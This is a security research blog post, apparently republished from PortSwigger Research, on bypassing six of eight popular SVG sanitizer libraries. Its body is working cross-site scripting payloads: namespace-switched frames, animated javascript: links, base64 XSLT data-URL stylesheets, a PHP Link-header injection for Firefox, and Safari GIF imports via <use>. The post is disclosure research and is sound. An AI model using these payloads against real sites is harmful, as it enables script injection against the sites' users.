---
title: "Scalable Vector Grief"
slug: scalable-vector-grief
url: https://listedarticles.com/articles/scalable-vector-grief
canonical_url: https://portswigger.net/research/scalable-vector-grief
content_type: research
language: en
published_at: 2026-10-27T14:29:26.000Z
updated_at: 2026-10-28T08:11:12.984Z
author: "Gareth Heyes"
authored_by: human
publisher: "PortSwigger Research"
publisher_url: https://portswigger.net/research
topics: ["Security", "Web Development"]
license: all-rights-reserved
word_count: 1328
reading_minutes: 6
citation: "Gareth Heyes, PortSwigger Research. \"Scalable Vector Grief.\" 27 Oct 2026. https://portswigger.net/research/scalable-vector-grief (all-rights-reserved)"
# The full text follows. The web page shows an extract and sends readers
# to the source above; quote the citation and link the canonical URL.
---

# Scalable Vector Grief

> PortSwigger researcher Gareth Heyes tested eight popular SVG sanitizers and bypassed six, showing techniques such as a response header that runs JavaScript in Firefox on harmless XML and importing payloads via <use> from uploaded GIFs; DOMPurify and darylldoyle/svg-sanitizer held up.

*Gareth Heyes · PortSwigger Research · October 27, 2026*

**I tested eight popular SVG sanitizers and bypassed six of them. In this post, I'll show you how a response header can run JavaScript in Firefox even when the response body is completely harmless XML. I'll also show you how to get Safari to import a GIF as SVG and execute JavaScript from it.**

## Hacking SVG sanitizers

### The targets

SVG is an image format that can contain scripts, event handlers, links, animations and even embedded HTML, so applications that accept SVG uploads usually run them through a sanitizer first. To see how well those sanitizers hold up, I tested the most popular SVG libraries according to ChatGPT:

- <https://github.com/darylldoyle/svg-sanitizer>
- <https://github.com/cloudflare/svg-hush>
- <https://github.com/cure53/DOMPurify>
- <https://github.com/Borewit/svg-sanitizer>
- <https://github.com/bgalek/safe-svg>
- <https://github.com/mattkrick/sanitize-svg>
- <https://github.com/alnorris/SVG-Sanitizer>
- <https://github.com/jams2/py-svg-hush>

### Warming up: namespace confusion

**Library affected: mattkrick/sanitize-svg**

This library has so many bypasses that I'll only cover the interesting ones.

My first finding was that you don't need `<foreignObject>` to get HTML into an SVG. Switch the XML namespace on a single element to XHTML and the browser renders it as HTML directly inside the SVG. A `<frame>` with a JavaScript URL is all it takes:

`<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><frame xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(document.domain)"/></svg>`

The same namespace trick works with iframes, which gives you srcdoc to play with:

`<svg xmlns="http://www.w3.org/2000/svg" width="200" height="50"><iframe xmlns="http://www.w3.org/1999/xhtml" width="200" height="50" srcdoc="&lt;script&gt;alert(document.domain)&lt;/script&gt;"/></svg>`

The library could also be bypassed with a plain old `<foreignObject>`. It renders the SVG, which converts the element name to its camel-case form, foreignObject. It then hunts for the element with `querySelectorAll('foreignobject')`, which finds nothing, so the payload goes straight through:

`<svg xmlns="http://www.w3.org/2000/svg"><foreignobject><img src=x onerror=alert(1)></foreignobject></svg>`

Even a nested SVG with an onload handler got through:

`<svg xmlns="http://www.w3.org/2000/svg"><svg onload="alert(1)"/></svg>`

### Animating your way to a JavaScript URL

**Library affected: Borewit/svg-sanitizer**

This one didn't take much effort. The library let `<animate>` tags through untouched, so you could animate a link's href into a JavaScript URL:

`<svg xmlns="http://www.w3.org/2000/svg"><a><animate attributeName="href" values="JavaScript:alert(1)"/><text x="20" y="20">XSS</text></a></svg>`

I bypassed the same library a second way using
[Kevin Mizu's](https://x.com/kevin_mizu)
[trick](https://mizu.re/post/dompurify-bypass-smil-animatetransform-safari), which uses <animateTransform> to set a JavaScript URL in Safari:

`<svg xmlns="http://www.w3.org/2000/svg" width="800" height="120" viewBox="0 0 1000 120"><a id="target" href="#safe"><text x="20" y="55" font-size="26">Wait one second, then click</text><animateTransform attributeName="href" type="invalid" values="XXX;javascript:alert(1)//" begin="0s" dur="0.1s" fill="freeze"></animateTransform></a></svg>`

### XSS from a self-contained XSLT stylesheet

**Libraries affected: bgalek/safe-svg, mattkrick/sanitize-svg, alnorris/SVG-Sanitizer**

Now things get more interesting. This is a pretty epic technique: you can get JavaScript execution from an XSLT stylesheet without needing a separate file. I was desperate to blog this one, because unfortunately the feature is deprecated and due for removal November 2026.

The trick is to point an xml-stylesheet processing instruction at a data URL. Base64 is the most elegant way to encode the stylesheet, but URL encoding works too:

`<?xml-stylesheet type="text/xsl" href="data:text/xsl;base64,..."?>`

Here's the stylesheet that gets base64 encoded:

`<x:stylesheet xmlns:x="http://www.w3.org/1999/XSL/Transform" version="1.0"><x:output method="html"/><x:template match="/"><html><body><x:element name="{concat('scr','ipt')}">alert(document.domain)</x:element></body></html></x:template></x:stylesheet>`

It matches the root of the document and outputs an HTML page containing a script that alerts document.domain, proving the code runs in the document's origin rather than a null origin. Put it all together and you get this:

`<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="data:text/xsl;base64,PHg6c3R5bGVzaGVldCB4bWxuczp4PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHZlcnNpb249IjEuMCI+PHg6b3V0cHV0IG1ldGhvZD0iaHRtbCIvPjx4OnRlbXBsYXRlIG1hdGNoPSIvIj48aHRtbD48Ym9keT48eDplbGVtZW50IG5hbWU9Intjb25jYXQoJ3NjcicsJ2lwdCcpfSI+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTwveDplbGVtZW50PjwvYm9keT48L2h0bWw+PC94OnRlbXBsYXRlPjwveDpzdHlsZXNoZWV0Pg=="?><svg xmlns="http://www.w3.org/2000/svg" width="200" height="50"><text x="10" y="30">XSS</text></svg>`

### Turning a response header into XSS

In the back of my mind was a trick
[Paulos Yibelo](https://x.com/PaulosYibelo) once told me about: Firefox lets you load external CSS files using a Link response header. I figured out that data URLs work there too, which got me thinking: if it works for CSS, could it work for XSLT too? You're damn right it can.

First, I needed a version of the stylesheet that fits in a URL. This one has two layers. The outer stylesheet is URL encoded into a data URL. Inside it, XSLT's `document()` function loads a second data URL, URL encoded again, containing an XHTML `<img>` with an `onerror` handler. The stylesheet copies that into a `<foreignObject>`, where it fires.

As a processing instruction, it looks like this:

`<?xml version="1.0" encoding="UTF-8"?>  
<?xml-stylesheet type="text/xsl" href="data:application/xml,..."?>`

Here's the payload before encoding. I've left the Hackvertor tags in so you can see where each layer of URL encoding is applied:

`<@encode(url)><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"><foreignObject width="400" height="200"><xsl:copy-of select="document('data:application/xml,<@encode(url)><div xmlns="http://www.w3.org/1999/xhtml"><img src="1" onerror="alert(document.domain)" /></div></@encode>')/*"/></foreignObject></svg></xsl:template></xsl:stylesheet></@encode>`

You can load and
[edit the full payload in Hackvertor](https://hackvertor.co.uk/#PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTphcHBsaWNhdGlvbi94bWwsPEBlbmNvZGUodXJsKT48eHNsOnN0eWxlc2hlZXQgdmVyc2lvbj0iMS4wIiB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSI+PHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0MDAiIGhlaWdodD0iMjAwIj48Zm9yZWlnbk9iamVjdCB3aWR0aD0iNDAwIiBoZWlnaHQ9IjIwMCI+PHhzbDpjb3B5LW9mIHNlbGVjdD0iZG9jdW1lbnQoJ2RhdGE6YXBwbGljYXRpb24veG1sLDxAZW5jb2RlKHVybCk+PGRpdiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+PGltZyBzcmM9IjEiIG9uZXJyb3I9ImFsZXJ0KGRvY3VtZW50LmRvbWFpbikiIC8+PC9kaXY+PC9AZW5jb2RlPicpLyoiLz48L2ZvcmVpZ25PYmplY3Q+PC9zdmc+PC94c2w6dGVtcGxhdGU+PC94c2w6c3R5bGVzaGVldD48L0BlbmNvZGU+Ij8+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48L3N2Zz4=).

With the stylesheet ready, all that's left is to move it out of the document and into a Link header:

`<?php  
header("Content-Type: text/xml");  
header('Link: <data:application/xml,%3Cxsl%3Astylesheet%20version%3D%221.0%22%20xmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%3E%3Cxsl%3Atemplate%20match%3D%22%2F%22%3E%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22400%22%20height%3D%22200%22%3E%3CforeignObject%20width%3D%22400%22%20height%3D%22200%22%3E%3Cxsl%3Acopy-of%20select%3D%22document(\'data%3Aapplication%2Fxml%2C%253Cdiv%2520xmlns%253D%2522http%253A%252F%252Fwww.w3.org%252F1999%252Fxhtml%2522%253E%253Cimg%2520src%253D%25221%2522%2520onerror%253D%2522alert(document.domain)%2522%2520%252F%253E%253C%252Fdiv%253E\')%2F*%22%2F%3E%3C%2FforeignObject%3E%3C%2Fsvg%3E%3C%2Fxsl%3Atemplate%3E%3C%2Fxsl%3Astylesheet%3E>; rel="stylesheet"; type="text/xsl"');  
?>  
<x>  
<b>foo</b>  
</x>`

The response body is a completely harmless bit of XML, yet
[this executes in Firefox!](https://02.rs/crazy-firefox-behaviour-jdhwieo292/)

### Importing images as SVG in Safari

**Libraries affected: cloudflare/svg-hush, jams2/py-svg-hush, bgalek/safe-svg**

To end this piece of research, here's another epic behaviour, this time in Safari. Firefox and Safari both let you use the <use> element to reference same-origin files, but Safari goes a step further: it lets you import image files as SVG!

index.svg:

`<?xml version="1.0" encoding="UTF-8"?>  
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="50">  
  <use href="test.png#x" />  
</svg>`

test.png:

`<?xml version="1.0" encoding="UTF-8"?>  
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">  
  <g id="x">  
    <image href="1" onerror="alert(1)" />  
  </g>  
</svg>`

Alas, you can't make a true SVG/image polyglot because SVG is a little too strict. However, if you can upload a GIF that contains the payload, it won't render when you open it in the browser, but it can still be imported with a `<use>` element!

That's all it takes to bypass all three libraries:

`<svg xmlns="http://www.w3.org/2000/svg"><use href="/svg/test.gif#x" /></svg>`

### Wrapping up

I hope you enjoyed this post. I also exploited two popular applications that I can't name yet, but I'll update the post once I can. Both DOMPurify and darylldoyle/svg-sanitizer held up against everything in this post, which is quite impressive.

---

*Originally published at [PortSwigger Research](https://portswigger.net/research/scalable-vector-grief).*
